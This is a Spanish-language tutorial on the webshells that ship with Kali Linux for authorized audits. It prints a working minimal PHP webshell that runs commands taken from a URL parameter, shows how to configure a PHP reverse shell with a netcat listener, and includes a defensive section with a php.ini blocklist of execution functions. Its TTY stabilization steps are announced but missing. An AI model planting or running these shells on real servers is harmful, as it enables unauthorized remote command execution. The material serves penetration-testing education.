webshells para auditorías de seguridad
webshells para auditorías de seguridad
Kali Linux incluye una colección completa de webshells preinstaladas para pruebas de penetración y auditorías de seguridad autorizadas. Se encuentran ubicadas en el directorio del sistema /usr/share/webshells/.
1. Ubicación y Estructura en Kali Linux
Para listar las webshells disponibles, abre una terminal y ejecuta:
ls -la /usr/share/webshells/
Las webshells están organizadas por lenguaje y tecnología en subdirectorios específicos:
/usr/share/webshells/php/: Webshells y reverse shells para entornos PHP (Apache, Nginx). Incluye scripts populares comophp-reverse-shell.php(de PentestMonkey) ysimple-backdoor.php./usr/share/webshells/asp/y/aspx/: Scripts para servidores web IIS en entornos Windows./usr/share/webshells/jsp/: Webshells para servidores de aplicaciones Java (Tomcat, GlassFish, WildFly)./usr/share/webshells/perl/: Scripts en Perl para servidores CGIs tradicionales./usr/share/webshells/cfm/: Scripts para servidores Adobe ColdFusion.
2. ¿Cómo Funciona una Webshell Basada en Web?
Una webshell es un script subido a un servidor web objetivo aprovechando una vulnerabilidad de carga de archivos (File Upload Vulnerability) o inclusión de archivos (LFI/RFI). Una vez alojada, la webshell ejecuta comandos del sistema operativo a través del intérprete del servidor web.
Ejemplo conceptual (PHP minimalista)
Un ejemplo básico de webshell interactiva en PHP (simple-backdoor.php) utiliza funciones nativas para recibir parámetros por HTTP:
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
echo "<pre>";
system($cmd);
echo "</pre>";
die;
}
?>
Si este archivo se aloja en el servidor, el auditor puede ejecutar comandos directamente desde la URL o mediante peticiones GET/POST:
http://servidor-objetivo.com/uploads/shell.php?cmd=whoami
3. Transferencia y Adaptación
En una auditoría, antes de subir una webshell (por ejemplo, una reverse shell de PHP), suele ser necesario editar la dirección IP y el puerto de escucha dentro del script:
Copiar el script a tu directorio de trabajo:
Bashcp /usr/share/webshells/php/php-reverse-shell.php ./mi-shell.phpEditar las variables de red:
Abre el archivo con
nanoovimy modifica las líneas$ipy$portcon la dirección IP de tu máquina atacante (o VPN de prueba) y el puerto donde escucharás con Netcat:PHP$ip = '10.10.14.X'; // Tu IP de prueba $port = 4444; // Puerto de escuchaPoner el listener a la escucha:
Bashnc -lvnp 4444
4. Detección y Mitigación (Perspectiva Defensiva)
En la administración de sistemas y respuesta ante incidentes, prevenir la ejecución de webshells implica varias capas de seguridad:
Deshabilitar funciones peligrosas en PHP: En
php.ini, restringe el uso de funciones de ejecución de comandos:Ini, TOMLdisable_functions = exec, passthru, shell_exec, system, proc_open, popen, curl_exec, curl_multi_exec, parse_ini_file, show_sourceValidación de archivos subidos: Validar la extensión, el tipo MIME y el contenido real del archivo (magic bytes), renombrando los archivos subidos a nombres aleatorios sin extensión ejecutable.
Permisos del sistema de archivos: Asegurarse de que el usuario del servidor web (
www-data,nginx, etc.) no tenga permisos de escritura en directorios donde se puedan ejecutar scripts.Escanear con reglas YARA / Antivirus: Utilizar herramientas de detección como LMD (Linux Malware Detect) o reglas YARA específicas para webshells conocidas.
Para capturar una conexión entrante (reverse shell) y convertir esa sesión básica en una terminal interactiva completa (con soporte para Ctrl+C, autocompletado con Tab y redimensionamiento de ventana), se sigue un proceso de dos fases.
Fase 1: Configurar el Listener de Netcat
Primero, inicia el escuchador en tu máquina atacante/auditora antes de ejecutar o desencadenar el script en el objetivo.
Fase 2: Estabilización de la Terminal TTY
Sigue estos pasos en orden estricto dentro de la sesión recibida para obtener un entorno TTY funcional:
Nota: Al finalizar estos pasos, tendrás una terminal completamente interactiva donde podrás ejecutar herramientas como
htop, editores comonanoovim, y presionarCtrl+Cpara cancelar procesos individuales sin cerrar la conexión de la reverse shell.